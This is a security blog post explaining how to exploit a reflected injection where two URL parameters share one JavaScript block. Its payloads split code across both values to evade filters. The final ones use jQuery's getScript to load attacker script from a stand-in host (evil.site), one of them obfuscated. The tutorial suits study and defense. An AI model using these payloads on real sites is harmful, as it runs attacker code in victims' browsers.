Two Hearts That Beat As One

A common theme among injection attacks that manifest within a JavaScript context (e.g. <script> tags) is that proper payloads preserve proper syntax. We’ve belabored the point of this dark art with such dolorous repetition that even Professor Umbridge might approve.

We’ve covered the most basic of HTML injection exploits, exploits that need some tweaking to bypass weak filters, and different ways of constructing payloads to preserve their surrounding syntax. The typical process is choose a parameter (or a cookie!), find if and where its value shows up in a page, hack the page. It’s a single-minded purpose against a single injection vector.

Until now.

It’s possible to maintain this single-minded purpose, but to do so while focusing on two variables. This is an elusive beast of HTML injection in which an app reflects more than one parameter within the same page. It gives us more flexibility in the payloads, which sometimes helps evade certain kinds of patterns used in input filters or web app firewall rules.

This example targets two URL parameters used as arguments to a function that expects the start and end of a time period. Forget time, we’d like to start an attack and end with its success.

Here’s a version of the link with numeric arguments:

https://web.site/TimeZone.aspx?start=1&end=2

The app uses these values inside a <script> block, as follows:

<script>
var start = 1,
    end = 2;

$(JM.Scheduler.TimeZone.init(start, end));
foo.init();
</script>

The “normal” attack is simple:

https://web.site/TimeZone.aspx?start=alert(9);//&end=2

This results in a successful alert(), but the app has some sort of silly check that strips the end value if it’s not greater than the start. Thus, you can’t have start=2&end=1. And the comparison always fails if you use a string for start, because end will never be greater than whatever the string is cast to (likely zero). At least the devs remembered to enforce numeric consistency in spite of security deficiency.

<script>
var start = alert(9);//,
    end = ;

$(JM.Scheduler.TimeZone.init(start, end));
foo.init();
</script>

But that’s inelegant compared with the attention to detail we’ve been advocating for exploit creation. The app won’t assign a value to end, thereby leaving us with a syntax error. To compound the issue, the developers have messed up their own code, leaving the browser to complain:

ReferenceError: Can’t find variable: $

Let’s see what we can do to help. For starters, we’ll just assign start to end (internally, the app has likely compared a string-cast-to-number with another string-cast-to-number, both of which fail identically, which lets the payload through). Then, we’ll resolve the undefined variable for them — but only because we want a clean error console upon delivering the attack.

https://web.site/TimeZone.aspx?start=alert(9);//&end=start;$=null

<script>
var start = alert(9);//,
    end = start;$=null;

$(JM.Scheduler.TimeZone.init(start, end));
foo.init();
</script>

What’s interesting about “two factor” vulns like this is the potential for using them to bypass validation filters.

https://web.site/TimeZone.aspx?start=window[“ale”/*&end=*/%2b”rt”](9)

<script>
var start = window["ale"/*
    end = */+"rt"](9);

$(JM.Scheduler.TimeZone.init(start, end));
foo.init();
</script>

Rather than think about different ways to pop an alert() in someone’s browser, think about what could be possible if jQuery was already loaded in the page. Thanks to JavaScript’s design, it doesn’t even hurt to pass extra arguments to a function:

https://web.site/TimeZone.aspx?start=$[“getSc”%2b”ript”](“http://evil.site/”&end=undefined)

<script>
var start = $["getSc"+"ript"]("http://evil.site/",
    end = undefined);

$(JM.Scheduler.TimeZone.init(start, end));
foo.init();
</script>

And if it’s necessary to further obfuscate the payload we might try this:

https://web.site/TimeZone.aspx?start=%22getSc%22%2b%22ript%22&end=$[start]%28%22//evil.site/%22%29

<script>
var start = "getSc"+"ript",
    end = $[start]("//evil.site/");

$(JM.Scheduler.TimeZone.init(start, end));
foo.init();
</script>

Maybe combining two parameters into one attack reminds you of the theme of two hearts from 80s music. Possibly U2’s War from 1983. I never said I wasn’t gonna tell nobody about a hack like this, just like that Stacey Q song a few years later — two of hearts, two hearts that beat as one. Or Phil Collins’ Two Hearts three years after that.

Although, if you forced me to choose between two hearts that beat as one, I’d choose a Timelord, of course. In particular, someone that preceded all that music: Tom Baker. Jelly Baby, anyone?
Tom Baker